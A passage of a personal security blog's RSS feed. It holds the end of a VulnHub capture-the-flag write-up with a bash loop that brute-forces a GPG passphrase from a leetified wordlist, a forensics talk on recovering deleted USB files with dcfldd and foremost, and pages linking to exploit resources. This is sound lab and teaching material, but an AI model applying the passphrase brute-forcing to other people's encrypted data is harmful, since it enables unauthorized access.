to expand it.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;seed.txt
Zero Cool
zerocool
Zero Kool
zeroKool
crash override
crashoverride
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I found a &lt;a href=&#34;https://gist.github.com/kevinnz/0b808d825bccaa4fb6ee2d8d698c5c9e&#34;&gt;leetify&lt;/a&gt; perl script on the net, I don&amp;rsquo;t know who the orginal author is, so to who ever you are thank you.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;perl leetify.pl &amp;lt; seed.txt &amp;gt; words.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;create a brute force script&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/bash
for pass in $(cat words.txt)
do
  gpg --output flag.txt --batch --passphrase &amp;quot;$pass&amp;quot; --decrypt flag.txt.gpg
  if [ -a flag.txt ]
    then
      cat flag.txt
      exit 0
  fi
done
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;run the script and find the treasure&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/gibson-16.png&#34; alt=&#34;victory&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Thank you Knightmare and the vulnhub crew for a great challenge.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Recovering Data</title>
      <link>https://kevin.net.nz/post/recovering-data/</link>
      <pubDate>Wed, 27 Apr 2016 19:00:00 +1200</pubDate>
      
      <guid>https://kevin.net.nz/post/recovering-data/</guid>
      <description>

&lt;h1 id=&#34;recovering-data:b80cc2c3c84c2343b7178eec0bf54bc6&#34;&gt;Recovering Data&lt;/h1&gt;

&lt;p&gt;This post is a quick run down of a lightning talk that I gave at my local information security &lt;a href=&#34;http://www.meetup.com/ISIG-Christchurch-NZ/events/229009056/&#34;&gt;meetup&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&#34;introduction:b80cc2c3c84c2343b7178eec0bf54bc6&#34;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Tonight we are going recovering deleted files from a USB thumb drive. Since I&amp;rsquo;m a fan of &lt;a href=&#34;https://www.kali.org/&#34;&gt;Kali linux&lt;/a&gt;, all the tools demonstrated come pre-installed
and can be used from a booting off a live CD or USB Thumb drive.&lt;/p&gt;

&lt;h2 id=&#34;image-the-drive:b80cc2c3c84c2343b7178eec0bf54bc6&#34;&gt;Image the drive&lt;/h2&gt;

&lt;p&gt;First of all I like to image the drive so that I&amp;rsquo;m not working on the original source.
This can be helpful if you can&amp;rsquo;t keep the source device.
When imaging the drive we can use GNU &lt;a href=&#34;https://www.gnu.org/software/coreutils/manual/html_node/dd-invocation.html&#34;&gt;&lt;code&gt;dd&lt;/code&gt;&lt;/a&gt;, however there are a couple of forks of &lt;code&gt;dd&lt;/code&gt; that
have added features for computer forensics. These are &lt;a href=&#34;http://www.forensicswiki.org/wiki/Dc3dd&#34;&gt;&lt;code&gt;dc3dd&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;http://www.forensicswiki.org/wiki/Dcfldd&#34;&gt;&lt;code&gt;dcflddd&lt;/code&gt;&lt;/a&gt;, tonight I will use the later.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ dcfldd --help
Usage: dcfldd [OPTION]...
Copy a file, converting and formatting according to the options.

  bs=BYTES                 force ibs=BYTES and obs=BYTES
  cbs=BYTES                convert BYTES bytes at a time
  conv=KEYWORDS            convert the file as per the comma separated keyword list
  count=BLOCKS             copy only BLOCKS input blocks
  ibs=BYTES                read BYTES bytes at a time
  if=FILE                  read from FILE instead of stdin
  obs=BYTES                write BYTES bytes at a time
  of=FILE                  write to FILE instead of stdout
                            NOTE: of=FILE may be used several times to write
                                  output to multiple files simultaneously
  of:=COMMAND              exec and write output to process COMMAND
  seek=BLOCKS              skip BLOCKS obs-sized blocks at start of output
  skip=BLOCKS              skip BLOCKS ibs-sized blocks at start of input
  pattern=HEX              use the specified binary pattern as input
  textpattern=TEXT         use repeating TEXT as input
  errlog=FILE              send error messages to FILE as well as stderr
  hashwindow=BYTES         perform a hash on every BYTES amount of data
  hash=NAME                either md5, sha1, sha256, sha384 or sha512
                             default algorithm is md5. To select multiple
                             algorithms to run simultaneously enter the names
                             in a comma separated list
  hashlog=FILE             send MD5 hash output to FILE instead of stderr
                             if you are using multiple hash algorithms you
                             can send each to a separate file using the
                             convention ALGORITHMlog=FILE, for example
                             md5log=FILE1, sha1log=FILE2, etc.
  hashlog:=COMMAND         exec and write hashlog to process COMMAND
                             ALGORITHMlog:=COMMAND also works in the same fashion
  hashconv=[before|after]  perform the hashing before or after the conversions
  hashformat=FORMAT        display each hashwindow according to FORMAT
                             the hash format mini-language is described below
  totalhashformat=FORMAT   display the total hash value according to FORMAT
  status=[on|off]          display a continual status message on stderr
                             default state is &amp;quot;on&amp;quot;
  statusinterval=N         update the status message every N blocks
                             default value is 256
  sizeprobe=[if|of]        determine the size of the input or output file
                             for use with status messages. (this option
                             gives you a percentage indicator)
                             WARNING: do not use this option against a
                                      tape device.
  split=BYTES              write every BYTES amount of data to a new file
                             This operation applies to any of=FILE that follows
  splitformat=TEXT         the file extension format for split operation.
                             you may use any number of &#39;a&#39; or &#39;n&#39; in any combo
                             the default format is &amp;quot;nnn&amp;quot;
                             NOTE: The split and splitformat options take effect
                                  only for output files specified AFTER these
                                  options appear in the command line.  Likewise,
                                  you may specify these several times for
                                  for different output files within the same
                                  command line. you may use as many digits in
                                  any combination you would like.
                                  (e.g. &amp;quot;anaannnaana&amp;quot; would be valid, but
                                  quite insane)
  vf=FILE                  verify that FILE matches the specified input
  verifylog=FILE           send verify results to FILE instead of stderr
  verifylog:=COMMAND       exec and write verify results to process COMMAND

    --help           display this help and exit
    --version        output version information and exit

The structure of of FORMAT may contain any valid text and special variables.
The built-in variables are used the following format: #variable_name#
To pass FORMAT strings to the program from a command line, it may be
necessary to surround your FORMAT strings with &amp;quot;quotes.&amp;quot;
The built-in variables are listed below:

  window_start    The beginning byte offset of the hashwindow
  window_end      The ending byte offset of the hashwindow
  block_start     The beginning block (by input blocksize) of the window
  block_end       The ending block (by input blocksize) of the hash window
  hash            The hash value
  algorithm       The name of the hash algorithm

For example, the default FORMAT for hashformat and totalhashformat are:
   hashformat=&amp;quot;#window_start# - #window_end#: #hash#&amp;quot;
   totalhashformat=&amp;quot;Total (#algorithm#): #hash#&amp;quot;

The FORMAT structure accepts the following escape codes:
  \n   Newline
  \t   Tab
  \r   Carriage return
  \\   Insert the &#39;\&#39; character
  ##   Insert the &#39;#&#39; character as text, not a variable

BLOCKS and BYTES may be followed by the following multiplicative suffixes:
xM M, c 1, w 2, b 512, kD 1000, k 1024, MD 1,000,000, M 1,048,576,
GD 1,000,000,000, G 1,073,741,824, and so on for T, P, E, Z, Y.
Each KEYWORD may be:

  ascii     from EBCDIC to ASCII
  ebcdic    from ASCII to EBCDIC
  ibm       from ASCII to alternated EBCDIC
  block     pad newline-terminated records with spaces to cbs-size
  unblock   replace trailing spaces in cbs-size records with newline
  lcase     change upper case to lower case
  notrunc   do not truncate the output file
  ucase     change lower case to upper case
  swab      swap every pair of input bytes
  noerror   continue after read errors
  sync      pad every input block with NULs to ibs-size; when used
            with block or unblock, pad with spaces rather than NULs

Report bugs to &amp;lt;nicholasharbour@yahoo.com&amp;gt;.

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;As I&amp;rsquo;m running low on disk space I am going to save the drive image to an external drive. This may also come in handy if you are booting from removeable media.
For now I&amp;rsquo;m only going to use the &lt;code&gt;if&lt;/code&gt; and &lt;code&gt;of&lt;/code&gt; arguments.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dcfldd if=&amp;lt;source device&amp;gt; of=&amp;lt;target image&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; it is important to get the source and target around the right way as you have the potential to distory data!&lt;/p&gt;

&lt;p&gt;A handy way to see what drives you connected is to use the &lt;code&gt;lsblk&lt;/code&gt; command.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lsblk -io KNAME,TYPE,SIZE,MODEL&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/lsblk-1.jpg&#34; alt=&#34;lsblk before&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/lsblk-2.jpg&#34; alt=&#34;lsblk after&#34; /&gt;&lt;/p&gt;

&lt;p&gt;now lets image the drive&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ dcfldd if=/dev/sdb of=/media/root/ELEMENTS/isig.img
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://kevin.net.nz/images/dcfldd.jpg&#34; alt=&#34;dcfldd&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;recovering-the-files:b80cc2c3c84c2343b7178eec0bf54bc6&#34;&gt;Recovering the files&lt;/h2&gt;

&lt;p&gt;Now we have an image file it is time to carve out the files from it. Kali has both &lt;a href=&#34;http://foremost.sourceforge.net/&#34;&gt;&lt;code&gt;foremost&lt;/code&gt;&lt;/a&gt;
and &lt;a href=&#34;https://github.com/sleuthkit/scalpel&#34;&gt;&lt;code&gt;scalpel&lt;/code&gt;&lt;/a&gt; installed. While the authors of &lt;code&gt;foremost&lt;/code&gt; recommend using &lt;code&gt;scalpel&lt;/code&gt;,
I have had the most sucess with &lt;code&gt;foremost&lt;/code&gt; out of the box.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;$ foremost -h
foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus.
$ foremost [-v|-V|-h|-T|-Q|-q|-a|-w-d] [-t &amp;lt;type&amp;gt;] [-s &amp;lt;blocks&amp;gt;] [-k &amp;lt;size&amp;gt;] 
	[-b &amp;lt;size&amp;gt;] [-c &amp;lt;file&amp;gt;] [-o &amp;lt;dir&amp;gt;] [-i &amp;lt;file] 

-V  - display copyright information and exit
-t  - specify file type.  (-t jpeg,pdf ...) 
-d  - turn on indirect block detection (for UNIX file-systems) 
-i  - specify input file (default is stdin) 
-a  - Write all headers, perform no error detection (corrupted files) 
-w  - Only write the audit file, do not write any detected files to the disk 
-o  - set output directory (defaults to output)
-c  - set configuration file to use (defaults to foremost.conf)
-q  - enables quick mode. Search are performed on 512 byte boundaries.
-Q  - enables quiet mode. Suppress output messages. 
-v  - verbose mode. Logs all messages to screen
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The options that we are going to use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t all&lt;/code&gt; to carve out as many files as possible&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt; verbose output&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-in isig.img&lt;/code&gt; the drive image to process&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o foremost&lt;/code&gt; the directory to place the found files&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code&gt;$ foremost -t all -v -in isig.img -o foremost
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;After some time the files will be carved out into the &lt;code&gt;foremost&lt;/code&gt; directory. Lets have a look what is in there.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ tree foremost/
foremost/
├── audit.txt
├── docx
│   └── 00106328.docx
├── exe
│   ├── 00107944.exe
│   └── 00129456.exe
├── gif
│   ├── 00111088.gif
  ... 
└── png
    ├── 00118384.png
    ├── 00127448.png
    ├── 00128384.png
    ├── 00129920.png
    ├── 00131136.png
    └── 00143742.png
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now we can compare that to the original USB thumb drive.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ tree /media/root/HOT
HOT
├── 00018664.exe
├── 2011 AHOT TK_v3.pdf
├── Chapter Handbook
│   ├── A.Preface.pdf
│   ├── B. Charter.pdf
│   ├── C.Officer Positions.pdf
│   ├── D.Benefits.pdf
│   ├── E.Activities.pdf
│   ├── F.Chapter Business.pdf
│   ├── G.Annual Meeting.pdf
│   ├── H.Marketing Media.pdf
│   ├── I.Safe Riding Tips.pdf
│   ├── J. State Rallies.pdf
│   ├── K.Reference Docs.pdf
│   ├── L.Index.pdf
│   ├── Opening Pages.pdf
│   └── Table of contents.pdf
├── forensicsT1C1.jpg
├── forensicsT1C2.img
├── key.txt
└── shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We see that &lt;code&gt;00106328.docx&lt;/code&gt; has been recovered. The recovered files both present and deleted are carved out and given an unique number. Sometimes you get double ups and fragments,
it depends on how the files are written to disk and calculated without the aid of the File Allocation Table.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>First post</title>
      <link>https://kevin.net.nz/post/first-post/</link>
      <pubDate>Mon, 25 Apr 2016 16:58:58 +1200</pubDate>
      
      <guid>https://kevin.net.nz/post/first-post/</guid>
      <description>&lt;p&gt;This is the obligatory first post. I&amp;rsquo;m building this site with &lt;a href=&#34;http://gohugo.io/&#34;&gt;Hogo&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For now here are some interesting links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.kernel-exploits.com/&#34;&gt;https://www.kernel-exploits.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/bidord/pykek&#34;&gt;https://github.com/bidord/pykek&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.portknocking.org/&#34;&gt;http://www.portknocking.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>About Kevin</title>
      <link>https://kevin.net.nz/about/</link>
      <pubDate>Mon, 25 Apr 2016 16:37:36 +1200</pubDate>
      
      <guid>https://kevin.net.nz/about/</guid>
      <description>&lt;p&gt;This is the personal site of Kevin Alcock. From time to time I will be posting little nuggets that
I have found interesting.&lt;/p&gt;

&lt;p&gt;As for me I&amp;rsquo;ve been programming for a living since 1986 and yes that is a long time.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/&#34;&gt;&lt;img src=&#34;https://kevin.net.nz/images/offsec-certified-oscp.png&#34; alt=&#34;OSCP&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Contact Kevin</title>
      <link>https://kevin.net.nz/contact/</link>
      <pubDate>Mon, 25 Apr 2016 16:37:30 +1200</pubDate>
      
      <guid>https://kevin.net.nz/contact/</guid>
      <description>&lt;ul&gt;
&lt;li&gt;&lt;i class=&#39;fa fa-phone fa-fw&#39;&gt;&lt;/i&gt; +64 3 669 2179&lt;/li&gt;
&lt;li&gt;&lt;i class=&#39;fa fa-envelope fa-fw&#39;&gt;&lt;/i&gt; kalcock@xtra.co.nz&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
  </channel>
</rss>